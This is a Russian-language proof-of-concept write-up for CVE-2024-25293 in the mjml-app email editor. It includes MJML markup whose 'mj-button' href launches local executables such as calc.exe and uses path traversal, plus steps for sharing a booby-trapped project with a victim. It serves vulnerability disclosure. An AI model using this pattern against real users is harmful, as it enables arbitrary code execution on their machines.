PoC локального выполнения кода MJML

Доказательство концепции (PoC) для уязвимости CVE-2024-25293.

В mjml-app v3.0.4 и 3.1.0-beta была обнаружена удалённая уязвимость выполнения кода (RCE) В этом репозитории представлено пример уязвимого приложения и его PoC-эксплойт.

В качестве PoC представлен python-файл, автоматизирующий процесс.

1. Обзор уязвимости:

• Тема уязвимости: Локальное выполнение кода
• Версия уязвимости: mjml-app 3.0.4-win и mjml-app 3.1.0-beta
• Тип атаки: Удалённое выполнение кода
• Компонент атаки: В теге 'mj-button' в соответствующем файле исходного кода атрибут 'href' позволяет выполнять локальный код.
• Зарезервированный номер CVE: CVE-2024-25293

2. Причина уязвимости:

• mjml-app 3.0.4-win и mjml-app 3.1.0 beta страдают от неправильной конфигурации безопасности в теге 'mj-button', что может привести к произвольному выполнению кода.
• Пояснение к эксплойту
  • Запуск локальных файлов через теги событий в приложениях mjml представляет угрозу безопасности. Кроме того, код может быть выполнен путём комбинирования с Path Traversal в приложении, что требует исправления.

Доказательство концепции (PoC)

Шаг 1) Злоумышленник создаёт 'mj-button' с тегом 'href' и

• случай 1) Выполнение кода с Path Traversal (notepad.exe)
• случай 2) Выполнение кода (calc.exe)

<mjml>
  <mj-body>
    <mj-section>
      <mj-column>
        <mj-button background-color="#f45e43" color="white" href="C:\Users\EQST\Desktop\jruru\..\jruru_hacked.txt"> jruru </mj-button>
        <mj-button background-color="#f45e43" color="white" href="C:Windows/System32/calc.exe"> Code Execution </mj-button>
      </mj-column>
    </mj-section>
  </mj-body>
</mjml>

Шаг 2) Злоумышленник создаёт основной фишинговый проект со следующим кодом.

<!-- header.mjml -->
<mj-section>
  <mj-column>
    <mj-text>This is a demo jruru</mj-text>
  </mj-column>
</mj-section>
<!-- main.mjml -->
<mj-include path="./index.mjml" />

Шаг 3) Жертва открывает общий проект и нажимает кнопку, запуская выполнение полезной нагрузки (например, calc, notepad)

3. Дополнительная информация

Запуск exe-файлов через теги href внутри приложения рискован, а запуск файлов в сочетании с Path Traversal представляет угрозу безопасности. Это позволяет создавать фишинговые проекты и развертывать их для выполнения локальных файлов. Поэтому крайне важно изменить эту функцию, чтобы предотвратить такое выполнение.